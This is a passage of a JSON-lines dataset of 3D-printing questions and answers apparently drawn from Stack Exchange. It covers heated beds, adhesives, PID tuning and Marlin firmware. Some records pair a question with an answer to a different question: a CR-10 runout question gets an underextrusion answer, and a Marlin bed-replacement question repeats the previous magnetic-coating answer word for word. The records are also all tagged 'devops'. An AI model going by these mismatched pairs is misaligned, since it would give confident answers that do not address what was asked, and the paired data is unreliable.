V part would get us something in the order of 24 V and fry the part. You'd accomplish nothing more than turn your heated bed into a fire hazard or a hunk of scrap!\nSo straight routing in another 12 V on top of what is rated?\nNOPE!\nUnhooking from the same PSU?\nSome printers unhook the bed from the board's PSU, running a (differently) regulated power source. In the best case, it's set up to a Voltage/Current pair that maximizes the bed's heating. In such a setup, the whole heating power runs through a MOSFET that acts as a switch: A signal comes from the board to the MOSFET to allow current to flow. No signal on the Gate of the MOSFET leads to no current reaching the bed and no heating.\nHowever, that is a complicated setup - yet one of the only ways how a \"mains voltage bed heater\" can be done with a board that runs on 5 V. You\nalso\nwill have to route the high power through a properly rated set of wires and connectors. These thicker wires will need proper strain relief as they need larger bending radii than what is installed before. In other words:\nyou need to know what you do!\nFinetuning the power supply to the bed!\nIn many printers, there's also a less invasive method to finetune the power curve of a bed. usually, there is a Potentiometer that is used to tune the output of the heating wires. Altering the potentiometer's setting with a screwdriver results in the output voltage shifting.\n$U=R I$\ndoes not change when flipping to AC but U and I became wave functions instead of constants. However, R of a long wire (such as a bed) does depend only on the frequency of the signal and not on either the current nor the driving potential, we can assume R to be constant. So, we know we want to maximize I². So what can we do easily?\nA 24 V heatbed has something in the order of 2 Ω and accompanied mainboard in my Ender3 is - according to the labeling - good for about 13 A on the bed output, while a typical 12 V bed runs in the order of 1.2 Ω while such boards typically are limited to 10-11 A.\n$U= RI$\nto the resuce and... Voila: For the 11 A/1.2 Ω case we can tune the potentiometer to get just a smidge below 13.2 V - just at the 10 % point, for the 13 A/2 Ω case is\ntechnically\nsafe at 26 V - and still well within the 10% rule of thumb. However, if you have a 1.2 Ω bed and your borard only allows to draw 10 A, then you are limited to 12 V.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:13.992875"}
{"id": "hf_7f0029905eec", "question": "<p>I'm struggling with bed adhesion for nylon on a glass bed (122 °C measured) in an enclosed chamber (45 °C near the front, likely more on top of the print bed). I used a glue stick to enhance adhesion, but after around 20 minutes the print comes off the bed.</p>\n<p>I tried a <a href=\"https://www.123-3d.nl/123inkt-lijmstift-medium-21-grams-i1326-t7445.html\" rel=\"nofollow noreferrer\">no-brand glue stick</a> and a <a href=\"https://www.123-3d.nl/Pritt-stick-medium-22-gram-i1329-t7445.html\" rel=\"nofollow noreferrer\">Pritt glue stick</a>.</p>\n<p>Now I wonder whether they are suitable for the purpose, because nylon should really be printable in these conditions. Maybe the glue cannot hold those 100+ °C temperatures.</p>\n<p>How to find out whether a glue stick is PVA-based and suitable for nylon (or polycarbonate, ABS) printing?</p>\n", "question_body": "", "answer": "Not all glue sticks work! The working ingredient of a glue stick is\nPolyvinylpyrrolidone\n; a more elaborate answer is found\nhere\non question:\n\"Why does hairspray work as an adhesive for ABS?\"\n.\nThere are very good alternatives to glue sticks and hair spray nowadays. Specific adhesion sprays exist for several years now (e.g. Dimafix, 3DLAC, Magigoo for PA, Plasticz, PrintaFix, Dr.Mat, etc.; my personal experience is with the first 2 mentioned, both work for nylon: Dimafix has more tack at higher temperatures > 80 °C, up to 80 °C 3DLAC works perfect).\nE.g. Dimafix has a higher temperature application range than e.g. 3DLAC. From the\nmanufacturer\ncan be seen that:\nSource:\nhttp://www.dima3d.com/en/home/dimafix/\nThis image shows that the spray has its maximum tack/adhesion at about 120 °C and holds this adhesion level at least up to about 145 °C according to the image.\nHowever, not all glues get stronger with temperature! PVA (also called PVAc) glues soften very quickly, making them good only at low temperature. See \"\nInfluence of temperature on the strength of bonded joints\n\" which discloses this graph for PVAc Rhenocoll 3W, 4B Plus:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.030921"}
{"id": "hf_900dbae1dffe", "question": "<p>From what I've seen, you can take a typical extruder heater, apply the designated supply voltage without temperature control, and as long as the heater isn't contacting something with a flashpoint below the temperature the heater reaches, the heater will not catch on fire.  Thus, unless one catches the filament on fire, it seems that thermal runaway of the extruder heater wouldn't normally start a fire.</p>\n<p>I'm not sure what would happen if someone installed wrong components, such as a 12V heater to a 24V supply. What are situations that could cause a 3D print to catch fire?</p>\n", "question_body": "", "answer": "A normal hotend will not melt or cause fires, usually, see first video. However, if the power regulating unit fails as well and higher voltage is supplied (19 V on 12 V cartridge are enough) it can happen, see second video.\nFires are more likely caused by overheating wires, especially where joints are presents.\nHotend runaway does not cause fires from the hotend itself, but it could cause fire related to its wiring. Also, the uncontrolled temperature may make the hot end fan fail, worsening the situation.\nIssues canbe caused also by a runaway on the bed and overheating MOSFETs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.056260"}
{"id": "hf_7c3c3c109279", "question": "<p>I am looking for a way to generate 2D horizontal templates for manually carving an object. My thought was to produce an STL of the model, generate the G-code, and then transform that into slices. Appreciate any suggestions for where to start. I'm not afraid of getting my hands dirty with python, R, matlab, whatever.</p>\n", "question_body": "", "answer": "I would approach following way. I saw interesting example of using\nAutodesk Fusion 360\nto generate moves (G-Code) for carving in vertical slices. Fusion generated moves like for CNC tool in \"parallel mode\". You can see details in the video\n3D printer cutting styrofoam like CNC router\n(software setup is presented at 11:00-14:30). Steps/settings important for manual work would be:\nselecting parallel strategy\nsteup length and width of tool - reflecting \"depth/width of slice\"\ncheck the simulation\ncreate NC program - creating the G-Code file\nI think that even if really working manually, the benefit of such approach would be that you focus on one layer/slice at time, and carve in one depth from the top of \"material block\" to the line defined be two points (the move in G-Code). The trouble could be actual number of such \"G-Code lines\": there will be probably too many of them, e.g. to measure each by hand and draw on the sufrface. But maybe this could be reduced with resolution (and quality). You could try to use any G-Code visualizer to project lines (of given single layer/slice) with beamer on the material sufrace.\nThe depth (real width of slice) could be controlled only manually, to avoid carving too deep.\nThe video uses parallel carving strategy to work in vertical slices. \"Adaptive cleanring\" strategy could be used to work horizontally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.116935"}
{"id": "hf_38474c40e7ea", "question": "<p>My CR-10 S5 has a feature, that stops the print, when the filament runs out.</p>\n<p>However, when the printer pauses, the bed cools down and the print plops if the bed. Is there a way to tell the printer to keep the bed heated, when paused (by the runout detector)?</p>\n", "question_body": "", "answer": "This is varying underextrusion due to loss of material to oozing in the interior of the model.\nWhen printing the infill pattern, the nozzle doesn't follow a single continuous extrusion path, but moves from the end of one path to the beginning of the next, and under Cura defaults,\ndoes this without retracting the filament\n. This causes unpredictable amounts to ooze out during travel from one to the next, thereby desynchronizing the planned/intended amount of material extruded so far and the actual amount. This means, when the next outer-wall extrusion starts, there's an unpredictable deficiency between the amount of material at the nozzle to extrude, and the amount the slicer intended to extrude. The result is what you're seeing.\nTo fix it, you need to eliminate oozing, not just outside the model where it appears as visible stringing, but inside too. Either disable \"Combing\" entirely in Cura, or set \"Max Comb Distance With No Retract\" to something very low (0.8 mm or less). Also set \"Minimum Extrusion Distance Window\" to 0 to ensure Cura doesn't skip retractions for other reasons.\nYou may also want to play with extrusion length and speed. Too short or too long can be bad; 5-7 mm is the reasonable range for PLA with a bowden. Higher speed generally helps too; the printer should be able to handle 50 mm/s or faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.178101"}
{"id": "hf_831cd76b344a", "question": "<p>After a long battle with SKR Mini v2, TFT35 and BLTouch and creating the right firmware. I thought I was through it all and ready to start printing again after finally being able to set the Z offset and auto level the bed. My printer has other thoughts. Now my bed temperature will only heat up to 10 °C below the set point temperature and after a few minutes it starts beeping and says this on the screen &quot;<code>Heating Failed: Bed Printer Halted, Please Reset</code>&quot;. As an example, set it to 60 °C, it will get up to 50 °C normally and stop at 50 °C.</p>\n<p>Anyone gone through this? I'm sure there is some setting in the firmware that I have missed up. I'm hoping someone can educate me on my mistake.</p>\n", "question_body": "", "answer": "Searching the error message \"Heating Failed: Bed Printer Halted, Please Reset\" seems to indicate that the bed heater is timing out from not reaching temperature.\nIf you measure the voltage applied to the bed heater before the error message, does the voltage stay at Max.; i.e. 12 V for a 12 V bed heater?  Or, does the voltage stay constant?\nIf you raise the target bed temperature, does is still error out at stop at 50 °C?\nSince you only indicate changing firmware, we would assume the bed heater is the same as when previously working.  Is this true?\nIs the resistance of the bed heater a few ohms and not megaohms?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.202691"}
{"id": "hf_adfc85e0091f", "question": "<p>I am looking to 3D print some small molds that will allow wood glue to dry but <em><strong>not</strong></em> stick.</p>\n<p>Is there a recommended filament that is known to <em><strong>resist</strong></em> binding to simple wood glue?</p>\n<p>Alternately, is there an inexpensive adhesive (like wood glue) I could use instead that will <em><strong>not</strong></em> stick to the 3D printed mold?</p>\n", "question_body": "", "answer": "You are looking for a filament that does not bond to wood glue, or as weak as possible. You misunderstand how wood glue \"bonds\" to plastics:\nWood glue is typically PVA. It\nbonds\nto wood and paper by seeping into them before curing and hardening. The mesh of the glue entangles fibers of the wood/paper and itself, bonding with not only the exposed surface but also with material up to the depth it penetrates.\nWhen such a glue is applied to a typical print surface, it seeps into the cracks and through print imperfections but does not penetrate the print to the same degree as it does in the open wood fiber setup. It clings to the surface and only bonds - if it does - only to the surface layers. The\nsame\neffect happens when you cast resin into for example a silicone mold: there is much less chemical bonding, at best at the interface, and quite some interlock.\nTo prevent such, two things should be made: first, you need to smooth the mold as much as possible and have all the angles right.  It might be easier and faster to coat the hard molds in a smooth lacquer, which not only removes the creep areas but also acts as an interlayer, making release easier.\nThen, you should use a mold release agent. Mold release agents come in many shapes: I have seen Talcum Powder being used effectively for both metal as well as cold casts, if the shape of the mold was well made (no undercuts, no unpowdered areas). Easier to apply are usually mold release sprays for many applications - careful, some are PVA based and would be the same as the glue you want to cast. For a concrete casting, I had used plant fat as a decent mold release agent.\nWhat might be an alternative to wood glue depends on what you want to do with the finished product.\nAs far as materials that actively don't bond go, you could look into POM (Which is a pain to print and expensive - it's a bearing material) or nylon (also a pain to print).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.227715"}
{"id": "hf_b83a92a4d4e2", "question": "<p>I am looking at printing a fair amount of text, ideally using some custom fonts. I quite like <a href=\"https://pixelify.net/download/free-fonts/script-handwritten/stay-classy-font-free/\" rel=\"nofollow noreferrer\">Stay Classy</a> but will likely have to consider change if it causes issues.</p>\n<p>I am a little stuck on where to start with using these in some tools. I have tried creating an SVG using the font and importing to Tinkercad however that always fails. I only want to print the text, nothing else.</p>\n<p>How do I properly convert my font into .svg and import that so I can make my bodies? While I have tried Tinkercad I am open to alternative tools if this can be achieved more easily.</p>\n", "question_body": "", "answer": "Fonts are not saved in a format that is .svg compatible. However, text that is written in a font and saved as a black-and-white picture can be turned into a .svg by software. This .svg can be imported by Tinkercad then.\nStep 1: Text Picture\nUse any software to create a .png or .jpg or something similar. Among the multitude of programs that can do this are GIMP and Adobe Photoshop. Even Paint can do this, or any word processor and then screen capture. If you know your Inkscape, you can skip this.\nStep 2: making the .svg\nEither you use software like\nInkscape\nto import your picture and trace the outlines, or you use a web service. For example\nConvertino\nor the\nFontquirrel Webfont generator\n. You only need the outlines, no filling!\nIn Inkscape the rundown to tracing is:\nFile/Import\nPath/Trace Bitmap\nUpdate\nOK\nStep 3: Import\nYou got your outline .svg, so import that into any software and you can start making your embossed letters. Personally, I would use Fusion360, but most CAD software support importing an SVG and treat that the same as if you had sketched in that software.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.301390"}
{"id": "hf_bb421d8e5d62", "question": "<p>I need to print a rotor for a DC motor I'm designing. In the process of testing the behaviors of the motor performances, I would need a material that will not deform at a temperature range between 100 °C to 150 °C.</p>\n<p>Since I don't have a 3D printer yet, I would like to know what would be the best choice for my need.\nI was planning to buy an Ender 3, but I'm not sure this entry-level 3D printer will allow me to obtain the results I'm looking for. I'm excluding PLA material because I think it's the most &quot;fragile&quot; material from this point of view and for my needs.</p>\n<p>My questions are:</p>\n<ol>\n<li>Which material should I use in order to have a 3D printed object (rotor) that will not deform at a temperature that varies from 100 °C to 150 °C?</li>\n<li>Can an Ender 3 (planning to use full metal hotend and also hotbed) be used to print the filament that is heat resistant? Should I buy a resin 3D printer?</li>\n</ol>\n", "question_body": "", "answer": "PEEK (poly ether ether ketone) has a glass transition temperature of 145 ‎°C (293 °F).\nMelting temperature\n345 ‎°C (653 °F)\nNozzle temperature\n370 - 410 ‎°C\nHeated bed\n120 - 150 ‎°C\nPolycarbonate has a glass transition temperature of about 147 °C (297 °F)\nPolypropylene has a glass transition temperature is 215 °C\nPolymaker PolyMide CoPA (specialized Nylon) Filament has a softening temperature of ~180 °C, but they don't specify the glass transition temperature.  Other materials have the glass transition temperature about 5 °C below the temperature the material softens.\nHowever, the glass transition temperature is only an indication of a physical change: while uncommon, a material may be rigid enough well above it's glass transition temperature.\nHow to interpret various thermal-related filament properties?\nA side issue to consider as far as layout is FDM prints are weakest between layers (layer separation), so you want a layout where this affects your print the least.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.344537"}
{"id": "hf_5b100f211953", "question": "<p>After seeing a question about FDM printing of temperature-resistant parts, high-temperature 2-part epoxy came to mind. Are there any (experimental or production) FDM extruders for laying viscous, fast-curing epoxy, mixing it at the last moment before extrusion? Or likewise other cured/resin materials, either 2-part or UV-cured (with whole print volume flooded with UV)?</p>\n", "question_body": "", "answer": "Is this what you're looking for?\n(\nhttps://the3dprinterbee.com/how-does-a-resin-3d-printer-work-sla-dlp-lcd-explained/\n)\nMaterial Beam\nMaterial blasting is a unique 3D resin printing technology that can be compared to an office inkjet printer. It is also considered one of the fastest and most accurate 3D printing technologies available for resin printing today.\nMaterial Beam 3D printers are similar to inkjet 3D printers in that they also have a print head from which thousands of tiny resin droplets are applied to the building platform and then cured with UV light. Once a layer has been completed, the building platform automatically lowers to the height of a layer and the process is repeated until the object is completed.\nThe technology of material blasting enables high dimensional accuracy, but speed is also a convincing point. The process in which the resin droplets are ejected from several print heads, which in turn move back and forth over the building platform, is known as line-by-line cutting. This ensures that multiple parts can be produced without affecting the build speed. As a user, you also have the choice between matte and shiny surfaces on your 3D printed object. However, the individual components for material beam technology are very cost-intensive. Other disadvantages are the waste of material when you choose to print matt surfaces and the low strength of the 3D printed parts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.400110"}
{"id": "hf_8d98c9735b76", "question": "<p>I got this message from my Creality Ender 6 printer.</p>\n<p>Now every time I want to print, or when it heats up, the printer gives me this message.</p>\n<p>Can anyone please help with this?</p>\n<p><a href=\"https://i.stack.imgur.com/oCLzI.jpg\" rel=\"nofollow noreferrer\" title=\"Heating failed error\"><img src=\"https://i.stack.imgur.com/oCLzI.jpg\" alt=\"Heating failed error\" title=\"Heating failed error\" /></a></p>\n", "question_body": "", "answer": "Someone with experience using an Ender may give a more specific answer to you question.  This is a general answer, not for a specific model.\n\"Soon enough\" is saying the printer timed out before reaching temperature.\nDo you see the temperature increasing on both the hot end and bed?  If one doesn't, that's where the failure occurs.\nAre you setting a temperature higher than you have ever used on this printer?  If so, check to see if you are beyond the printers capability.\nThe hotend will reach temperature first. Does it reach the target temperature? If so, the issue is probably with your bed heater.  If not, the issue is with your hot end.\nIf you are pushing the extremes of your heaters, especially the bed heater, and your printer isn't in an enclose, you may need and enclosure to run that temperature.\nOnce you determine where the issue is at, there are things to can do to determine what is failing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.425233"}
{"id": "hf_12be546d11c8", "question": "<p>I'm using Cura to slice prints from a biodegradable polyester called PCL (<a href=\"https://en.wikipedia.org/wiki/Polycaprolactone\" rel=\"nofollow noreferrer\">Polycaprolactone</a>).</p>\n<p>I need to print @ ~70 °C but extruder does not run until nozzle reaches 175 °C.</p>\n<p>Which setting to change so extruder will turn on when nozzle temperature has reached 70 °C?</p>\n<p>Here are my settings for the material:</p>\n<p><strong><a href=\"https://i.stack.imgur.com/IIh9C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IIh9C.png\" alt=\"strong text\" /></a></strong></p>\n", "question_body": "", "answer": "70 °C is a specialty filament. It is well below the\n```\nMIN_TEMP\n```\ndefined in any sane firmware. In Marlin, you\ncan't\nturn on the extruder in any way, while this is online.\nYou do need to define your firmware to allow such a print - either by dropping the value in the firmware or disabling Mintemp-protection and then\nflashing that firmware\n. That is quite invasive.\nTo\ntemporarily\ndisable the\n```\nMIN_TEMP\n```\n, you need to run the G-code\n```\nM302 P1\n```\nor\n```\nM302 S0\n```\n-\n```\nM302\n```\non its own does nothing. However, some firmware distributions might explicitly prevent these two commands of\nturning off\nthe check.\nIn that case, you might use\n```\nM302 S65\n```\nor similar to drop the\n```\nMIN_TEMP\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.452125"}
{"id": "hf_5c06b62dd724", "question": "<p>I've just changed the motherboard on my Ender 3 Pro with a MKS GEN_L v1.0 and flashed the latest Marlin version on it.</p>\n<p>I've calibrated my bed manually using the default XY and Z auto home commands on OctoPrint and a piece of paper.</p>\n<p>I'm happy with the calibration, however whenever I launch a print the Z axis moves up from the calibrated position by about 4 mm and starts extruding.</p>\n<p>I've checked my Z endstop status with <code>M119</code> and it's triggered at the right calibrated position.</p>\n<p>How can I correct this?</p>\n", "question_body": "", "answer": "If you are already sure that homing is performed correctly and in valid position, then there are few reasons why printer may start printing in unexpected position.\nDo the following checks to narrow down the actual one:\nsteps/mm\n: use\n```\nM503\n```\n(or\n```\nM92\n```\nwithout parameters) to check if currently configured steps/mm match\nyour hardware setup\nfor each axis\noffsets:\nuse\n```\nM503\n```\n(or\n```\nM206\n```\nwithout parameters) to check that there are no offsets configured\nbackoff:\nlook in\nConfiguration_adv.h\nfor following line:\n```\n```\n//#define HOMING_BACKOFF_POST_MM { 2, 2, 2 }  // (mm) Backoff from endstops after homing\n```\n```\n(Having the backoff set is nothing wrong, actually. But be sure to also check final positioning in the generated file.)\nslicer's Start G-code:\nreview slicer configuration, if there is nothing suspicious injected to the print file, which could temporarily overrid printer setup - esepecially\nM428\n,\nM206\n,\nG92\n(set position is normal for E in relative extrusion mode, but suspicious for X,Y,Z)\ngenerated file:\nreview initial part of generated G-Code file, if there are any similar surprises, and if on initial layer section there is expected move to valid Z position before extrusion is made", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.493534"}
{"id": "hf_b78bd30d95bc", "question": "<p>Apply / find / create a stainless steel coating to apply to a PETG or PLA part to make it react to a magnet.</p>\n<p>My goal is to make a small tubular and conical shapes that can be painted with a stainless steel coating and will react with a magnet.</p>\n<p>I know I can buy iron filled PLA but these rust which I want to avoid.  <strong>I'm trying to get the magnetic properties of stainless steel (no rusting / reacts to magnets)</strong></p>\n<p>I have found videos on how to coat with copper / silver / carbon but I'm looking for stainless steel no rust / magnetic properties.\n<div class=\"youtube-embed\"><div>\r\n                <iframe width=\"640px\" height=\"395px\" src=\"https://www.youtube.com/embed/Nx-GwKOH5qc?start=0\"></iframe>\r\n            </div></div></p>\n<hr />\n<p><em>I'm looking for a &quot;low-cost&quot; solution just for testing.</em></p>\n", "question_body": "", "answer": "The surface won't work\nThe only true-metallic surface treatments I know to be actual metal in large enough amounts to conduct electricity would be leafmetal, akin to leaf gold, and electroplating. However, you can't use the procedures for stainless steels, and even then, the thickness is in the tenth of a µm area and lower. Not only would that be far too thin to adhere a magnet to, it also would be super easy to damage with rubbing.\nFilling?\nPLA itself does not block magnetism - I have printed a PLA holder for a magnetic GPS device, into which I inserted a simple 0.5 mm steel plate for a magnetic surface with 0.5 mm of PLA acting as the container and seal against water.\nIf the prints can be done with one end open and no infill or have a dedicated area that a cheap piece of steel can be inserted into, this method can be used too. The only requirement is that there is a cavity on the inside that at some point is accessible. This also can be during the print.\nThis cavity could either take a piece of shaped steel sheet or be filled with a different magnetic filler, for example, simple iron powder. The powder could be bound in a non-oxidizing polymer, for example, epoxy resin. This method has been used to\ncreate cast stators for electro motors\n. It's\nnot the most efficient\n, but might work in your application - if your walls are thin enough.\nWith the correct mixture, such a material can be used to coat or fill the inside with enough magnetic material to give the magnets something to stick to and not rust away - the shell and the resin together would shield the iron from any air that could rust it. Indeed, a quite stuffed Resin-Iron-mix and a strong magnet have been\nused in 2012 to create furniture by the name of \"Gravity Stools\"\nor other art pieces like in\nthis video", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.544445"}
{"id": "hf_205f47aad523", "question": "<p>I have a 3D printer built from generic, scrap parts.\nIt's controlled by a 2+ years old <code>MKS GEN L</code> board running Marlin version <code>1.1.x</code>.</p>\n<p>I want to do a complete bed assembly replacement, including:</p>\n<ul>\n<li>Heated bed</li>\n<li>Thermistor</li>\n<li>Y-carriage</li>\n</ul>\n<p>All the hardware bits, including the z-endstop are sorted and ready to be installed.</p>\n<p><strong>My question is:</strong></p>\n<ul>\n<li>Once I replace the assembly, what kind of software / firmware modifications do I need to do to Marlin configuration for my printer to work correctly?</li>\n</ul>\n<p>I understand that I need to modify dimensions and offsets but I am unsure what else will I need to change within the codebase before flashing Marlin.</p>\n", "question_body": "", "answer": "The surface won't work\nThe only true-metallic surface treatments I know to be actual metal in large enough amounts to conduct electricity would be leafmetal, akin to leaf gold, and electroplating. However, you can't use the procedures for stainless steels, and even then, the thickness is in the tenth of a µm area and lower. Not only would that be far too thin to adhere a magnet to, it also would be super easy to damage with rubbing.\nFilling?\nPLA itself does not block magnetism - I have printed a PLA holder for a magnetic GPS device, into which I inserted a simple 0.5 mm steel plate for a magnetic surface with 0.5 mm of PLA acting as the container and seal against water.\nIf the prints can be done with one end open and no infill or have a dedicated area that a cheap piece of steel can be inserted into, this method can be used too. The only requirement is that there is a cavity on the inside that at some point is accessible. This also can be during the print.\nThis cavity could either take a piece of shaped steel sheet or be filled with a different magnetic filler, for example, simple iron powder. The powder could be bound in a non-oxidizing polymer, for example, epoxy resin. This method has been used to\ncreate cast stators for electro motors\n. It's\nnot the most efficient\n, but might work in your application - if your walls are thin enough.\nWith the correct mixture, such a material can be used to coat or fill the inside with enough magnetic material to give the magnets something to stick to and not rust away - the shell and the resin together would shield the iron from any air that could rust it. Indeed, a quite stuffed Resin-Iron-mix and a strong magnet have been\nused in 2012 to create furniture by the name of \"Gravity Stools\"\nor other art pieces like in\nthis video", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.569744"}
{"id": "hf_8a0c5c7c24c7", "question": "<p>Since I have lots of PETG, I ran tuning to 230 °C (average temp for my filaments).\nWhat is it good for, in terms of temperature ranges?</p>\n<p>For the same printer configuration, and just different filaments, will I need to run it again and again?\nLet's assume that I'll be printing between 200 °C and 240 °C.</p>\n<p><a href=\"https://i.stack.imgur.com/SOVjm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SOVjm.png\" alt=\"marlin pid via octoprint\" /></a></p>\n", "question_body": "", "answer": "It's not a straight answer, but you don't have to run PID tuning every time you decide to print with different temperature. (Until you change something in a hardware near or related to the hotend.)\nYou can tune PID for different temperatures and grab necessary values, for example:\n```\n```\nM303 C16 D1 E0 S190\n22:14:31.872 > PID Autotune finished! Put the last Kp, Ki and Kd constants from below into Configuration.h\n22:14:31.886 > #define DEFAULT_Kp 30.87\n22:14:31.886 > #define DEFAULT_Ki 3.06\n22:14:31.886 > #define DEFAULT_Kd 77.75\n```\n```\nand then store respective G-code commands (like\n```\nM301 P30.87 I3.06 D77.75\n```\n) as few different \"PID profiles\" as new entries in\ncustom menu for Marlin\nor\nmenu.cfg for Klipper\nfor quick switching.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.607211"}
{"id": "hf_cf2ebe856b0a", "question": "<p>Repetier-host has a setting to specify the &quot;print area&quot;. That's roughly the size of the bed.</p>\n<p>Note that the printer head can go out of those bounds, in my case my bed is very undersized compared to the printer frame, but this would also be an issue if you had clips or some obstacles in the bed.</p>\n<p>Is there a similar setting in Cura where I can specify the &quot;print area&quot;/&quot;bed size&quot;/&quot;margins&quot; to be different from the printer width/depth?</p>\n<p>Thanks.</p>\n<p><strong>Repetier host settings:</strong></p>\n<p><a href=\"https://i.stack.imgur.com/mAOAA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mAOAA.png\" alt=\"Repetier-host\" /></a></p>\n", "question_body": "", "answer": "The print area settings would be in the Preferences > Printers. Select the particular printer on the left side pane, then click the \"Machine Settings\" button.\nYou will need to set a printing offset\n(\n```\nM206\n```\n)\nin Marlin: via\nStart G-code\nin Cura, or any other suitable way (LCD configuration, configuration files, etc.).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.648534"}
{"id": "hf_77ce19be3315", "question": "<p>I have PLA and PETG filament.</p>\n<p>I hear that 3D filament absorbs water and causes problems when printing but after printing they can be used with water and they are water proof.</p>\n<p>So my question is why is it different after printing/what has changed to make it now waterproof?</p>\n<ul>\n<li><p>Is PETG waterproof or does it absorb water?</p>\n</li>\n<li><p>Is there a limit on how much water PETG can absorb or will it keep going until it splits and turns to mush?</p>\n</li>\n</ul>\n", "question_body": "", "answer": "Filament that absorbs water prior to printing is subject to boiling temperatures as it passes through the heater block. In extreme cases, steam will be visible and a spitting sound will be heard. The filament will expand as the water exits, causing multiple structural and printing problems.\nOnce printed, dry filament may absorb water from the atmosphere, but is unlikely to be subject to boiling temperatures.\nWaterproofing as a general consideration usually means the ability to keep water out, which is possible if the model is sealed and some printing conditions will adhere each layer well enough to the previous one to provide floating-type waterproofing.\nPETG is hydroscopic, which means it will absorb moisture from the air. When printed properly (layer adhesion), the model can be waterproof.\nThese terms are independent and should not be used interchangeably.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:14.685364"}
